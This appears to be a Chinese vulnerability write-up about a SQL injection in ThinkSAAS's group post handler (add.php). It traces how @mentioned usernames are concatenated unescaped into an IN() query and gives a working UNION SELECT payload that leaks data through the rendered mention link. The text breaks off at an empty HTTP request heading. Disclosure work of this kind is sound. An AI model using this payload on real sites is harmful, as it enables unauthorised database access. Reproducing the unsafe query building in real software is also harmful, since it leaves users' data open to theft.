app\group\action\add.php 60行开始
tsClean函数
$_POST ['content']在初始化时经过addslashes,进入 tsClean函数stripslashes除去了转义,再除去xss代码,赋给content
变量。
preg_match_all ( "/@(.+?)([\s|:]|$)/is", $content, $matches ); 判断文章内容是否有@某个用户,如果有则提取@的用户名。
$ns = "'" . implode ( "','", $unames ) . "'";
$csql = "username IN($ns)";
最后进入$csql ,并执行$query = $db->fetch_all_assoc ( "select userid,username from " . dbprefix . "user_info where $csql" );
可以闭合单引号,实现注入。
对查询的结果,进行如下处理。
将原文章内容中 @admin 的形式替换成 [@admin:1111]这种形式。最后在显示时[@admin:1111]会转化为:
<a '="" uid="1111" rel="face" href="http://127.0.0.1/thinksaas/index.php?app=user&ac=space&id=1111 ">@admin</a>
显示出注入结果。
前提:系统存在2个账户,例如admin和test。
于是构造payload,把content赋值:
<p>aaaa @admin')/**/union/**/select/**/version(),'test'# aaaaaa@test aaaa<br/></p>
会执行select userid,username from user_info where username IN('admin')/**/union/**/select/**/version(),'test'#')
payload被替换为:
<p>aaaa [@admin:1111]')/**/union/**/select/**/version(),'test'# aaaaaa[@test:注入结果] aaaa<br/></p>
http包: